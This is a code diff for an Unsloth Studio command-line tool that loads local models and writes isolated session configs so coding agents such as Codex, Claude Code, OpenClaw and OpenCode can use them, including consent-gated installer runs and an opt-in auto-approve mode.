+        typer.echo(
+            f"Ensuring {requested} is loaded with the requested settings…"
+            if load_has_overrides
+            else f"Loading {requested} on the Studio server (this can take a while)…"
+        )
+        # Mirror `unsloth run`'s load knobs; keep the default payload as just
+        # model_path so a bare `--model` load is unchanged.
+        payload = {"model_path": requested}
+        if load.gguf_variant:
+            payload["gguf_variant"] = load.gguf_variant
+        if load.max_seq_length:
+            payload["max_seq_length"] = load.max_seq_length
+        if not load.load_in_4bit:
+            payload["load_in_4bit"] = False
+        if load.tensor_parallel:
+            payload["tensor_parallel"] = True
+        loaded = _http_json(
+            "POST",
+            f"{base}/api/inference/load",
+            key,
+            payload,
+            timeout = 3600,
+            error = "Model load failed",
+        )
+        # Studio registers the model under a canonical id (resolved identifier,
+        # casing) that /v1/models echoes but which may differ from the path we
+        # passed; match on the id the load reports so we don't silently fall
+        # through to models[0] and connect to a different loaded model.
+        wanted = {requested}
+        if isinstance(loaded, dict):
+            wanted |= {loaded.get("model"), loaded.get("display_name")} - {None}
+        models = _loaded_models(base, key)
+        match = next(
+            (
+                m
+                for m in models
+                if any(
+                    _model_id_matches(m.get("id"), w, allow_casefold = allow_casefold) for w in wanted
+                )
+            ),
+            None,
+        )
+    if match is not None:
+        return match
+    if requested:
+        # We asked Studio to load it and it didn't surface in /v1/models; don't
+        # silently hand back an unrelated loaded model.
+        _fail(
+            f"Studio didn't report '{requested}' as loaded. Double-check the model "
+            "id, or load it from the model dropdown in the UI."
+        )
+    if not models:
+        _fail(
+            "No model is loaded in Studio. Load one from the model dropdown in "
+            "the UI, or pass --model <hf-id-or-path> to load it from here."
+        )
+    return models[0]
+
+
+def _require_gguf_for_codex(base: str, key: str, model_id: str) -> None:
+    # Codex always streams, and Studio only streams /v1/responses from llama-server.
+    try:
+        status = _http_json("GET", f"{base}/api/inference/status", key)
+    except urllib.error.HTTPError as exc:
+        if exc.code == 404:
+            return  # older server without the endpoint; don't block the launch
+        raise
+    if status.get("is_gguf"):
+        return
+    hint = model_id if "gguf" in model_id.lower() else f"{model_id}-GGUF"
+    _fail(
+        f"Codex needs a GGUF model served by llama-server, but {model_id} is on "
+        f"the transformers backend. Try: unsloth start codex --model {hint}"
+    )
+
+
+_DYNAMIC_SECTIONS_FLAG = "--exclude-dynamic-system-prompt-sections"
+# Session overlay applied via `claude --settings`; suppresses the attribution header
+# for THIS run only (no ~/.claude write) so llama.cpp KV-cache reuse is preserved. It
+# reinforces the CLAUDE_CODE_ATTRIBUTION_HEADER env var on builds that read the setting
+# only from settings.json.
+_CLAUDE_SETTINGS_OVERLAY = '{"env":{"CLAUDE_CODE_ATTRIBUTION_HEADER":"0"}}'
+
+
+def _claude_version() -> Optional[tuple]:
+    # None = no local `claude` (a --no-launch printout for another machine; assume a
+    # current build). An unparseable version is treated as too old for the new flags.
+    executable = shutil.which("claude")
+    if executable is None:
+        return None
+    try:
+        result = subprocess.run(
+            [executable, "--version"], capture_output = True, text = True, timeout = 10
+        )
+        # Pull the X.Y.Z out of the output rather than assuming it is the first token.
+        # claude prints it first today ("2.1.98 (Claude Code)"), but a format change
+        # (e.g. "claude version 2.1.98") shouldn't silently drop the optimization flags;
+        # no match falls through to "too old", same as an unparseable version.
+        match = re.search(r"(\d+)\.(\d+)\.(\d+)", result.stdout)
+        return tuple(int(part) for part in match.groups()) if match else (0,)
+    except Exception:
+        return (0,)
+
+
+def _claude_flags() -> list:
+    # Both knobs preserve llama.cpp KV-cache reuse: --exclude-dynamic-system-prompt-sections
+    # moves per-session context out of the system prompt, and --settings suppresses the
+    # attribution header for this session only (no persistent ~/.claude write; the env var
+    # sets it too). Claude Code < 2.1.98 aborts on unknown flags, so gate on the version;
+    # no local binary means a printout for another machine, so assume a current build.
+    version = _claude_version()
+    if version is not None and version < (2, 1, 98):
+        return []
+    return [_DYNAMIC_SECTIONS_FLAG, "--settings", _CLAUDE_SETTINGS_OVERLAY]
+
+
+def _merge_codex_config(existing: str, base: str) -> str:
+    chunks = re.split(r"(?m)^(?=\[)", existing)  # preamble, then one chunk per table
+    if not re.search(r"(?m)^\s*oss_provider\s*=", chunks[0]):
+        if chunks[0] and not chunks[0].endswith("\n"):
+            chunks[0] += "\n"
+        chunks[0] += f'oss_provider = "{_CODEX_PROFILE}"\n'
+    # Drop the provider table and any stale [model_providers.unsloth_api.*] subtables.
+    stale = (_PROVIDER_HEADER, _PROVIDER_HEADER[:-1] + ".")
+    text = "".join(c for c in chunks if not c.startswith(stale))
+    if not text.endswith("\n"):
+        text += "\n"
+    if not text.endswith("\n\n"):
+        text += "\n"
+    return text + (
+        f"{_PROVIDER_HEADER}\n"
+        'name = "Unsloth Studio"\n'
+        f"base_url = {json.dumps(base + '/v1')}\n"
+        f'env_key = "{_CODEX_ENV_KEY}"\n'
+        'wire_api = "responses"\n'
+        "requires_openai_auth = false\n"
+    )
+
+
+# Keep custom-model behavior aligned with Codex's own unknown-model fallback. This
+# Apache-2.0 prompt is copied from openai/codex rust-v0.144.0 models-manager/prompt.md.
+_CODEX_FALLBACK_PROMPT = Path(__file__).parent.parent / "codex_fallback_prompt.md"
+_CODEX_MODEL_CATALOG_MIN_VERSION = (0, 110, 0)
+
+
+def _codex_supports_model_catalog() -> bool:
+    executable = shutil.which("codex")
+    if executable is None:
+        # A --no-launch recipe may be copied to another machine; assume a current Codex.
+        return True
+    try:
+        output = subprocess.check_output(
+            [executable, "--version"], text = True, timeout = 10, stderr = subprocess.DEVNULL
+        )
+    except Exception:
+        return False
+    match = re.search(r"(\d+)\.(\d+)\.(\d+)", output)
+    return bool(match) and tuple(int(part) for part in match.groups()) >= (
+        _CODEX_MODEL_CATALOG_MIN_VERSION
+    )
+
+
+def _codex_model_catalog(model: dict) -> dict:
+    """Return conservative metadata for a Studio model unknown to Codex's built-in catalog."""
+    model_id = model["id"]
+    window = model.get("context_length") or model.get("max_context_length")
+    entry = {
+        "slug": model_id,
+        "display_name": model_id,
+        "description": "Model served by Unsloth Studio",
+        "supported_reasoning_levels": [],
+        "shell_type": "default",
+        "visibility": "none",
+        "supported_in_api": True,
+        "priority": 99,
+        "availability_nux": None,
+        "upgrade": None,
+        "base_instructions": _CODEX_FALLBACK_PROMPT.read_text(encoding = "utf-8"),
+        "supports_reasoning_summaries": False,
+        "supports_reasoning_summary_parameter": False,
+        "support_verbosity": False,
+        "default_verbosity": None,
+        "apply_patch_tool_type": None,
+        "truncation_policy": {"mode": "bytes", "limit": 10_000},
+        "supports_parallel_tool_calls": False,
+        "experimental_supported_tools": [],
+    }
+    if window:
+        entry["context_window"] = int(window)
+        entry["max_context_window"] = int(window)
+    return {"models": [entry]}
+
+
+def write_codex_config(base: str, model: dict, home: Path) -> None:
+    home.mkdir(parents = True, exist_ok = True)
+
+    config = home / "config.toml"
+    existing = config.read_text(encoding = "utf-8") if config.exists() else ""
+    merged = _merge_codex_config(existing, base)
+    if merged != existing:
+        config.write_text(merged, encoding = "utf-8")
+        typer.echo(f"Updated {config}")
+
+    # oss_provider here too: codex --oss picks the provider from it, and the
+    # profile layer must beat a user-set value (e.g. "ollama") in config.toml.
+    profile_text = (
+        f'oss_provider = "{_CODEX_PROFILE}"\n'
+        f'model_provider = "{_CODEX_PROFILE}"\n'
+        f"model = {json.dumps(model['id'])}\n"
+    )
+    if _codex_supports_model_catalog() and _CODEX_FALLBACK_PROMPT.is_file():
+        catalog = home / "model-catalog.json"
+        catalog_text = json.dumps(_codex_model_catalog(model), indent = 2) + "\n"
+        if not catalog.exists() or catalog.read_text(encoding = "utf-8") != catalog_text:
+            catalog.write_text(catalog_text, encoding = "utf-8")
+            typer.echo(f"Updated {catalog}")
+        # Resolve relative to the profile file. This also survives WSL launching a Windows
+        # Codex binary, where a Linux absolute path inside TOML would not be usable.
+        profile_text += f"model_catalog_json = {json.dumps(catalog.name)}\n"
+
+    window = model.get("context_length") or model.get("max_context_length")
+    if window:
+        profile_text += f"model_context_window = {int(window)}\n"
+    profile = home / f"{_CODEX_PROFILE}.config.toml"
+    if not profile.exists() or profile.read_text(encoding = "utf-8") != profile_text:
+        profile.write_text(profile_text, encoding = "utf-8")
+        typer.echo(f"Updated {profile}")
+
+
+def _wsl_windows_executable(command: list) -> Optional[str]:
+    if os.name == "nt" or not os.environ.get("WSL_DISTRO_NAME"):
+        return None
+    executable = shutil.which(command[0])
+    if executable and executable.startswith("/mnt/"):
+        return executable
+    return None
+
+
+def _wsl_windows_path(path: Path) -> str:
+    try:
+        translated = subprocess.check_output(["wslpath", "-w", str(path)], text = True).strip()
+    except (OSError, subprocess.CalledProcessError) as exc:
+        _fail(f"Could not translate WSL path {path}: {exc}")
+    if not translated:
+        _fail(f"Could not translate WSL path {path}")
+    return translated
+
+
+def _looks_like_path(value: str) -> bool:
+    # A var only wants the WSLENV /p flag if its value is a filesystem path: an
+    # absolute POSIX path (/...), a UNC path (\\...), or a drive-qualified Windows
+    # path (C:...). Scalar knobs (e.g. a numeric context window) must pass through
+    # untranslated, so they get no flag.
+    return bool(value) and (value.startswith(("/", "\\")) or (len(value) >= 2 and value[1] == ":"))
+
+
+def _wsl_bridge_names(env: dict, unset_env: tuple) -> tuple:
+    # Build the WSLENV share list for a Windows shim reached from WSL. Path-valued
+    # vars get /p so WSLENV translates them to the Windows path the /mnt shim can
+    # actually open; a cleared var carries no value to translate.
+    names = [name + ("/p" if _looks_like_path(value) else "") for name, value in env.items()]
+    names.extend(unset_env)
+    return tuple(dict.fromkeys(names))
+
+
+def _merge_wslenv(current: str, names: tuple) -> str:
+    # Index WSLENV entries by bare var name, preserving first-seen order. The vars we
+    # bridge are applied last so our entry wins: a user's pre-existing unflagged "HOME"
+    # is upgraded to "HOME/p" (rather than left as-is), since WSLENV ignores a duplicate
+    # name and a bare entry would leave the path untranslated for a Windows shim.
+    ordered = []
+    by_name = {}
+    for entry in (*current.split(":"), *names):
+        if not entry:
+            continue
+        base = entry.split("/", 1)[0]
+        if base not in by_name:
+            ordered.append(base)
+        by_name[base] = entry
+    return ":".join(by_name[base] for base in ordered)
+
+
+def _powershell_quote(arg: str) -> str:
+    # PowerShell reads single-quoted strings literally (an embedded ' is doubled), so
+    # JSON args such as `--settings {"env":...}` survive intact. list2cmdline's
+    # backslash-escaped double quotes are cmd.exe syntax and PowerShell mis-parses them.
+    if arg and re.fullmatch(r"[A-Za-z0-9_./:=+-]+", arg):
+        return arg
+    return "'" + arg.replace("'", "''") + "'"
+
+
+def _print_env(
+    env: dict,
+    command: list,
+    unset_env: tuple = (),
+    wsl_env_bridge: tuple = (),
+) -> None:
+    if os.name == "nt":
+        for name in unset_env:
+            typer.echo(f"Remove-Item Env:{name} -ErrorAction SilentlyContinue")
+        for name, value in env.items():
+            # PowerShell: ` is the escape char, and $ triggers expansion inside "".
+            escaped = value.replace("`", "``").replace('"', '`"').replace("$", "`$")
+            typer.echo(f'$env:{name} = "{escaped}"')
+        typer.echo(" ".join(_powershell_quote(arg) for arg in command))
+        return
+    for name in unset_env:
+        typer.echo(f"export {name}=" if wsl_env_bridge else f"unset {name}")
+    for name, value in env.items():
+        typer.echo(f"export {name}={shlex.quote(value)}")
+    if wsl_env_bridge:
+        typer.echo(
+            f"export WSLENV={shlex.quote(_merge_wslenv(os.environ.get('WSLENV', ''), wsl_env_bridge))}"
+        )
+    # The final line is a SELF-CONTAINED one-liner (inline env, VAR=... cmd) rather than a
+    # bare command. People copy just the last line, and a bare `codex`/`claude` would then
+    # run against their real ~/.codex or Anthropic credentials with zero isolation -- e.g.
+    # inheriting a pre-existing damaged ~/.codex state DB and blaming the recipe. Inline
+    # assignments scope every var (and empty-string the conflicting ones) to this single
+    # invocation, so a partial copy behaves the same as pasting the whole block.
+    inline = [f"{name}=" for name in unset_env]
+    inline += [f"{name}={shlex.quote(value)}" for name, value in env.items()]
+    if wsl_env_bridge:
+        inline.append(
+            f"WSLENV={shlex.quote(_merge_wslenv(os.environ.get('WSLENV', ''), wsl_env_bridge))}"
+        )
+    typer.echo(" ".join((*inline, shlex.join(command))))
+
+
+def _refresh_windows_path() -> None:
+    # Merge Windows registry PATH hives after the current process PATH so a
+    # freshly installed agent is visible without changing existing precedence.
+    if os.name != "nt":
+        return
+    try:
+        import winreg
+    except Exception:
+        return
+
+    entries = []
+    seen = set()
+
+    def add_path(value: str) -> bool:
+        added = False
+        for entry in str(value).split(os.pathsep):
+            entry = entry.strip()
+            if not entry:
+                continue
+            key = os.path.normcase(entry).casefold()
+            if key in seen:
+                continue
+            seen.add(key)
+            entries.append(entry)
+            added = True
+        return added
+
+    add_path(os.environ.get("PATH", ""))
+    added_registry = False
+    hives = (
+        (winreg.HKEY_CURRENT_USER, "Environment"),
+        (
+            winreg.HKEY_LOCAL_MACHINE,
+            r"SYSTEM\CurrentControlSet\Control\Session Manager\Environment",
+        ),
+    )
+    for root, sub in hives:
+        try:
+            with winreg.OpenKey(root, sub) as key:
+                value, _ = winreg.QueryValueEx(key, "Path")
+        except OSError:
+            continue
+        if value:
+            added_registry = add_path(os.path.expandvars(str(value))) or added_registry
+    if added_registry:
+        os.environ["PATH"] = os.pathsep.join(entries)
+
+
+def _install_source(install_hint: str) -> Optional[str]:
+    """The first http(s) URL an install hint fetches, or None (e.g. an npm install)."""
+    match = re.search(r"https?://[^\s'\")]+", install_hint)
+    return match.group(0) if match else None
+
+
+def _install_agent(name: str, install_hint: str) -> Optional[str]:
+    # Missing agent under --launch: offer to run its documented install command, then
+    # re-resolve it on PATH. Consent-based (we never auto-run a remote install script
+    # silently), and a non-interactive stdin cannot answer the prompt, so both the
+    # no-TTY and declined cases return None and let the caller print the hint and exit.
+    if not sys.stdin.isatty():
+        return None
+    typer.echo(f"`{name}` is not installed.")
+    # Make the supply-chain risk explicit before the prompt: these are the vendors'
+    # own installers (curl | bash, irm | iex, npm), run with the user's privileges,
+    # and nothing checks a signature or hash on the fetched content. Naming the source
+    # turns a blind "yes" into informed consent.
+    source = _install_source(install_hint)
+    warning = (
+        f"This will download and RUN a script from {source} with your privileges"
+        if source
+        else f"This will RUN `{install_hint}` with your privileges"
+    )
+    typer.secho(f"{warning}; there is no signature or hash check.", fg = "yellow", err = True)
+    if not typer.confirm(f"Install `{name}` now with `{install_hint}`?", default = False):
+        return None
+    # Run each hint through the shell it is written for: PowerShell (irm | iex, or npm)
+    # on Windows, /bin/sh (curl | bash, or npm) everywhere else.
+    if os.name == "nt":
+        install_command = ["powershell", "-NoProfile", "-Command", install_hint]
+    else:
+        install_command = ["/bin/sh", "-c", install_hint]
+    if subprocess.run(install_command).returncode != 0:
+        _fail(f"Install command failed. Run it yourself, then re-run: {install_hint}")
+    # The installer just wrote PATH to the registry (Windows); pull it into this
+    # process so the freshly installed agent resolves without a shell restart.
+    _refresh_windows_path()
+    executable = shutil.which(name)
+    if executable is None:
+        _fail(
+            f"`{name}` installed but isn't on PATH yet. Open a new shell (or add it to "
+            f"PATH), then re-run. Install command: {install_hint}"
+        )
+    return executable
+
+
+def _launch(
+    command: list,
+    env: dict,
+    install_hint: str,
+    unset_env: tuple = (),
+) -> NoReturn:
+    executable = shutil.which(command[0]) or _install_agent(command[0], install_hint)
+    if executable is None:
+        _fail(f"`{command[0]}` not found on PATH. Install it with: {install_hint}")
+    wsl_env_bridge = _wsl_bridge_names(env, unset_env) if _wsl_windows_executable(command) else ()
+    child_env = dict(os.environ)
+    if wsl_env_bridge:
+        child_env["WSLENV"] = _merge_wslenv(child_env.get("WSLENV", ""), wsl_env_bridge)
+        for name in unset_env:
+            child_env[name] = ""
+    else:
+        for name in unset_env:
+            child_env.pop(name, None)
+    child_env.update(env)
+    # Ctrl+C cancels a turn inside the agent; don't let it kill this wrapper.
+    previous = signal.signal(signal.SIGINT, signal.SIG_IGN)
+    try:
+        code = subprocess.run([executable, *command[1:]], env = child_env).returncode
+    finally:
+        signal.signal(signal.SIGINT, previous)
+    # Negative returncode means killed by signal N; shells expect 128+N.
+    raise typer.Exit(code = code if code >= 0 else 128 - code)
+
+
+def _connect(
+    api_key: Optional[str],
+    model: Optional[str],
+    load: LoadOptions = LoadOptions(),
+    *,
+    serve: bool = False,
+    launch: bool = True,
+) -> tuple:
+    # `--model org/name:QUANT` is shorthand for `--model org/name --gguf-variant QUANT`.
+    # Split it before we match/serve so the attach path resolves against the already-loaded
+    # `org/name` (listed without the suffix) instead of reloading a `:`-suffixed repo id --
+    # which Studio rejects and which would evict a model another session is using.
+    if model:
+        repo, variant = _split_repo_variant(model)
+        if variant:
+            model = repo
+            if not load.gguf_variant:
+                load = load._replace(gguf_variant = variant)
+    base, server = _require_studio(model, load, serve = serve, launch = launch)
+    try:
+        key = _agent_api_key(base, api_key, auto_started = server is not None)
+        # A server we just started has exactly the requested model loaded, so resolve to
+        # whatever it is serving instead of re-matching the raw --model string.
+        entry = _resolve_model(base, key, None if server is not None else model, load)
+    except BaseException:
+        _shutdown_auto_served()
+        raise
+    return base, key, entry
+
+
+def _run(
+    base: str,
+    entry: dict,
+    env: dict,
+    command: list,
+    *,
+    launch: bool,
+    install_hint: str,
+    unset_env: tuple = (),
+    clear_screen: bool = False,
+) -> None:
+    # Some agents (Pi) render inline from wherever the cursor sits: their first
+    # paint assumes a clean screen rather than clearing or entering the
+    # alternate screen themselves. Hand them one so the session doesn't start
+    # mid-scroll under our connection output. click.clear() is cross-platform
+    # and a no-op when stdout is not a terminal (piped/CI), so transcripts and
+    # --no-launch recipes stay intact.
+    if launch and clear_screen:
+        click.clear()
+    typer.echo(f"Studio {base} · model {entry['id']}")
+    wsl_env_bridge = _wsl_bridge_names(env, unset_env) if _wsl_windows_executable(command) else ()
+    if not launch:
+        _print_env(env, command, unset_env = unset_env, wsl_env_bridge = wsl_env_bridge)
+        return
+    try:
+        _launch(command, env, install_hint = install_hint, unset_env = unset_env)
+    finally:
+        # Tear down a server we auto-started once the agent session ends (no-op otherwise).
+        _shutdown_auto_served()
+
+
+def _agents_config_root() -> Path:
+    ensure_studio_backend_path()
+    from utils.paths import auth_root
+    return auth_root() / "agents"
+
+
+@contextlib.contextmanager
+def _session_config(
+    agent: str,
+    launch: bool,
+    persist: bool = False,
+):
+    """Yield a private directory for an agent's session config (never the user's own).
+
+    launch (default): an ephemeral temp dir removed after the agent process exits, so
+    nothing persists. no-launch: a stable Unsloth-owned dir (the printed recipe is run
+    later on this machine), reused across runs. persist (from --persist): use that same
+    stable dir even for a launch, so the agent's session survives the exit and can be
+    resumed next time. Either way the user's real ~/.<agent> config is left untouched.
+    """
+    if launch and not persist:
+        path = Path(tempfile.mkdtemp(prefix = f"unsloth-{agent}-"))
+        try:
+            yield path
+        finally:
+            shutil.rmtree(path, ignore_errors = True)
+    else:
+        # Never wipe this dir: a previously printed recipe may still be running
+        # an agent whose sessions/state live here, and every config writer
+        # merges idempotently into an existing home anyway. Writers must also
+        # reset any state a previous run's flags left behind (--yolo especially),
+        # since files here outlive the invocation that wrote them.
+        path = _agents_config_root() / agent
+        path.mkdir(parents = True, exist_ok = True, mode = 0o700)
+        yield path
+
+
+def write_openclaw_config(
+    base: str,
+    key: str,
+    model: dict,
+    path: Path,
+    yolo: bool = False,
+    workspace_path: Optional[str] = None,
+) -> None:
+    config = _read_json_object(path)
+    if config is None:
+        typer.echo(
+            f"Warning: couldn't parse {path} — add an 'unsloth' provider there "
+            "yourself, or move the file aside and re-run.",
+            err = True,
+        )
+        return
+    before = json.dumps(config, sort_keys = True)
+    # Studio is a generic OpenAI-compatible /v1 endpoint (the vLLM/LM Studio path).
+    provider_model = {"id": model["id"], "name": model["id"]}
+    window = model.get("context_length") or model.get("max_context_length")
+    if window:
+        provider_model["contextWindow"] = int(window)
+    models = _subdict(config, "models")
+    models.setdefault("mode", "merge")
+    _subdict(models, "providers")["unsloth"] = {
+        "baseUrl": f"{base}/v1",
+        "apiKey": key,
+        "api": "openai-completions",
+        "models": [provider_model],
+    }
+    # Pin a default model, else OpenClaw drops into its setup agent ("no models available").
+    agents = _subdict(config, "agents")
+    defaults = _subdict(agents, "defaults")
+    _subdict(defaults, "model")["primary"] = f"unsloth/{model['id']}"
+    # OPENCLAW_STATE_DIR does not relocate the workspace. Keep it beside the managed
+    # config so ephemeral launches avoid ~/.openclaw and persisted sessions retain it.
+    workspace = path.parent / "workspace"
+    workspace.mkdir(parents = True, exist_ok = True, mode = 0o700)
+    defaults["workspace"] = workspace_path or str(workspace)
+    # Per-agent paths override agents.defaults.workspace and OPENCLAW_STATE_DIR. This
+    # config is itself an isolated Unsloth copy, so remove stale explicit paths and let
+    # OpenClaw resolve every listed agent beneath the managed defaults/state directory.
+    agent_list = agents.get("list")
+    if isinstance(agent_list, list):
+        for agent_config in agent_list:
+            if isinstance(agent_config, dict):
+                agent_config.pop("workspace", None)
+                agent_config.pop("agentDir", None)
+    # Unauthenticated loopback gateway: without auth.mode=none the client won't open
+    # the websocket. The daemon must still be started separately (`openclaw gateway`).
+    gateway = _subdict(config, "gateway")
+    gateway.setdefault("mode", "local")
+    _subdict(gateway, "auth").setdefault("mode", "none")
+    if yolo:
+        # OpenClaw has no --yolo flag, and it gates tool execution on BOTH the
+        # tools.exec config AND a host-local approvals file (the stricter wins), so
+        # setting only the config still lets the agent prompt/deny. Set both, mirroring
+        # `openclaw exec-policy preset yolo`.
+        exec_policy = _subdict(_subdict(config, "tools"), "exec")
+        exec_policy["host"] = "gateway"
+        exec_policy["security"] = "full"
+        exec_policy["ask"] = "off"
+        # Approvals file in OPENCLAW_STATE_DIR (== this config's dir). ask=off means
+        # nothing is ever prompted, so the runtime socket block is unnecessary here.
+        approvals = path.parent / "exec-approvals.json"
+        _write_private_json(
+            approvals,
+            {"version": 1, "defaults": {"security": "full", "ask": "off", "askFallback": "full"}},
+        )
+        typer.echo(f"Updated {approvals}")
+    else:
+        # The no-launch config dir is reused across runs, so a previous --yolo run may
+        # have left auto-approval state behind. OpenClaw treats an omitted exec policy as
+        # security=full, ask=off on the gateway host, so deleting the keys would keep
+        # auto-approval on: a non-yolo run must WRITE a prompting policy. Only a
+        # permissive/yolo policy is replaced; a stricter one set by hand survives.
+        tools = config.get("tools")
+        exec_policy = tools.get("exec") if isinstance(tools, dict) else None
+        exec_policy = exec_policy if isinstance(exec_policy, dict) else {}
+        # Match ONLY the exact fingerprint --yolo writes (host=gateway, security=full,
+        # ask=off, all explicit, no mode); anything else is left untouched. host=auto or an
+        # omitted host resolves to security=deny under an active sandbox, so treating those
+        # as the permissive gateway default would broaden a fresh sandboxed config from
+        # deny to allowlist. host=node and host=sandbox are user-set (--yolo only writes
+        # gateway). tools.exec.mode is OpenClaw's normalized knob (it cannot be combined
+        # with security/ask, and OpenClaw never rewrites our security/ask write into it),
+        # so a mode is always a deliberate user policy; never clobber it.
+        permissive = (
+            "mode" not in exec_policy
+            and exec_policy.get("host") == "gateway"
+            and exec_policy.get("security") == "full"
+            and exec_policy.get("ask") == "off"
+        )
+        if permissive:
+            exec_policy = _subdict(_subdict(config, "tools"), "exec")
+            exec_policy.pop("host", None)  # routing only; defaults to the gateway host
+            exec_policy["security"] = "allowlist"  # only allowlisted commands skip approval
+            exec_policy["ask"] = "on-miss"  # prompt on every non-allowlisted command
+        # Drop the yolo defaults from the host approvals file (a stricter default set by
+        # the user or OpenClaw is kept). With a prompting tools.exec the stricter of the
+        # two layers wins, so an omitted approvals default still prompts.
+        approvals = path.parent / "exec-approvals.json"
+        if approvals.exists():
+            state = _read_json_object(approvals)
+            if state is not None:
+                defaults = state.get("defaults")
+                # Strip the defaults only when they are exactly the yolo fingerprint; a
+                # user-managed mixed policy that merely shares a field (e.g. askFallback=full,
+                # whose omitted default is deny) must be kept intact.
+                yolo_defaults = (("security", "full"), ("ask", "off"), ("askFallback", "full"))
+                is_yolo = isinstance(defaults, dict) and all(
+                    defaults.get(k) == v for k, v in yolo_defaults
+                )
+                if is_yolo:
+                    for k, _ in yolo_defaults:
+                        del defaults[k]
+                    if not defaults:
+                        del state["defaults"]
+                    if set(state) <= {"version"}:
+                        # Nothing left but our own yolo payload: remove it.
+                        approvals.unlink()
+                        typer.echo(f"Removed {approvals}")
+                    else:
+                        # Keep approvals OpenClaw itself recorded; only the yolo defaults go.
+                        _write_private_json(approvals, state)
+                        typer.echo(f"Updated {approvals}")
+    if json.dumps(config, sort_keys = True) != before:
+        _write_private_json(path, config)
+        typer.echo(f"Updated {path}")
+
+
+def write_opencode_config(
+    base: str,
+    key: str,
+    model: dict,
+    path: Path,
+    yolo: bool = False,
+) -> dict:
+    config = _read_json_object(path)
+    if config is None:
+        typer.echo(
+            f"Warning: couldn't parse {path} — add an '{_OPENCODE_PROVIDER}' provider "
+            "there yourself, or move the file aside and re-run.",
+            err = True,
+        )
+        return {}
+    before = json.dumps(config, sort_keys = True)
+    config.setdefault("$schema", "https://opencode.ai/config.json")
+    # The session provider is registered under a dedicated id (_OPENCODE_PROVIDER)
+    # that a user's disabled_providers list would never target, so it is always
+    # selectable without this overlay having to reconstruct or override OpenCode's
+    # disabled_providers resolution.
+    model_entry = {"name": model["id"]}
+    window = model.get("context_length") or model.get("max_context_length")
+    if window:
+        window = int(window)
+        # A custom-provider model with no limit defaults to context 0, which silently
+        # disables OpenCode's auto-compaction; declare the real window (and a sane
+        # output cap) so it compacts instead of overflowing the server.
+        model_entry["limit"] = {"context": window, "output": min(window // 4, 8192)}
+    _subdict(config, "provider")[_OPENCODE_PROVIDER] = {
+        "npm": "@ai-sdk/openai-compatible",
+        "name": "Unsloth Studio",
+        "options": {"baseURL": f"{base}/v1", "apiKey": key},
+        "models": {model["id"]: model_entry},
+    }
+    # OpenCode selects a model by "<providerID>/<modelID>".
+    config["model"] = f"{_OPENCODE_PROVIDER}/{model['id']}"
+    if window:
+        # Compact with ~10% headroom (near 90% full). The fixed 20k-token default
+        # buffer over-compacts, or never settles, on a small local context.
+        compaction = _subdict(config, "compaction")
+        compaction["auto"] = True
+        compaction["reserved"] = max(1, window // 10)
+    tools = ("edit", "bash", "webfetch")
+    if yolo:
+        # OpenCode has no --yolo flag; auto-approve is the config `permission` block
+        # (singular). Allow the prompting tools and paths outside the launch directory so
+        # tool calls don't block on the TUI. This rides inline (OPENCODE_CONFIG_CONTENT) so
+        # --yolo works even over a project config.
+        session_permission = {t: "allow" for t in tools}
+        session_permission["external_directory"] = {"*": "allow"}
+        config["permission"] = dict(session_permission)
+    else:
+        # Undo only what --yolo wrote: our yolo sets an explicit per-tool "allow" for these
+        # three tools, so flip exactly those explicit allows back to "ask". A "deny"/"ask",
+        # a granular object, a string, or a "*" catch-all is the user's own rule and is left
+        # untouched. We do NOT carry a permission inline for a non-yolo session: since
+        # OPENCODE_CONFIG_CONTENT outranks the project opencode.json we cannot read, any
+        # value forced there would override the user's project rules (weakening a project
+        # deny, or auto-approving through a granular object's permissive default). Clearing
+        # our own persisted yolo state is the fix; the project's own permissions are honored.
+        session_permission: dict = {}
+        permission = config.get("permission")
+        if isinstance(permission, dict):
+            for tool in tools:
+                if permission.get(tool) == "allow":
+                    permission[tool] = "ask"
+            if permission.get("external_directory") == {"*": "allow"}:
+                permission["external_directory"] = {"*": "ask"}
+    if json.dumps(config, sort_keys = True) != before:
+        _write_private_json(path, config)
+        typer.echo(f"Updated {path}")
+    return session_permission
+
+
+def write_hermes_config(base: str, model: dict, path: Path) -> None:
+    import yaml
+
+    config: dict = {}
+    if path.exists():
+        try:
+            loaded = yaml.safe_load(path.read_text(encoding = "utf-8"))
+        except (yaml.YAMLError, OSError):
+            typer.echo(
+                f"Warning: couldn't parse {path} — configure the custom endpoint "
+                "there yourself, or move the file aside and re-run.",
+                err = True,
+            )
+            return
+        if isinstance(loaded, dict):
+            config = loaded
+        elif loaded is not None:
+            # Non-empty, non-mapping YAML is a user-managed file; leave it.
+            typer.echo(
+                f"Warning: couldn't parse {path} — configure the custom endpoint "
+                "there yourself, or move the file aside and re-run.",
+                err = True,
+            )
+            return
+    # Hermes only reads the key for a *named* custom provider (a bare
+    # `provider: custom` ignores it), so register it under providers.*.
+    _subdict(config, "model").update(
+        provider = f"custom:{_HERMES_PROVIDER}",
+        default = model["id"],
+        api_mode = "openai",
+    )
+    window = model.get("context_length") or model.get("max_context_length")
+    if window:
+        window = int(window)
+        # Hermes auto-detects context from GET /v1/models, but OpenAI's schema has no
+        # context field, so it can fall back to a 256k default that overflows a small
+        # local model. Pin the real window (top-level model.context_length is the
+        # highest-priority override) and compact at 90% of it (Hermes defaults to 50%).
+        if window >= _HERMES_MIN_CONTEXT:
+            _subdict(config, "model")["context_length"] = window
+            _subdict(config, "compression").update(enabled = True, threshold = 0.9)
+        else:
+            # Below Hermes' 64,000-token floor it refuses to initialize, so claim
+            # the floor and shrink the threshold so compaction still fires at 90%
+            # of the REAL window (the threshold is a fraction of the claimed
+            # context_length). The auxiliary override keeps the same floor check
+            # from rejecting the compression model mid-session.
+            _subdict(config, "model")["context_length"] = _HERMES_MIN_CONTEXT
+            threshold = round(0.9 * window / _HERMES_MIN_CONTEXT, 4)
+            _subdict(config, "compression").update(enabled = True, threshold = threshold)
+            auxiliary = _subdict(_subdict(config, "auxiliary"), "compression")
+            auxiliary["context_length"] = _HERMES_MIN_CONTEXT
+    _subdict(config, "providers")[_HERMES_PROVIDER] = {
+        "base_url": f"{base}/v1",
+        "api_mode": "openai",
+        "key_env": _HERMES_ENV_KEY,
+    }
+    text = yaml.safe_dump(config, sort_keys = False)
+    if not path.exists() or path.read_text(encoding = "utf-8") != text:
+        path.parent.mkdir(parents = True, exist_ok = True)
+        path.write_text(text, encoding = "utf-8")
+        typer.echo(f"Updated {path}")
+
+
+def write_pi_config(base: str, key: str, model: dict, path: Path) -> None:
+    config = _read_json_object(path)
+    if config is None:
+        typer.echo(
+            f"Warning: couldn't parse {path} — add an 'unsloth' provider there "
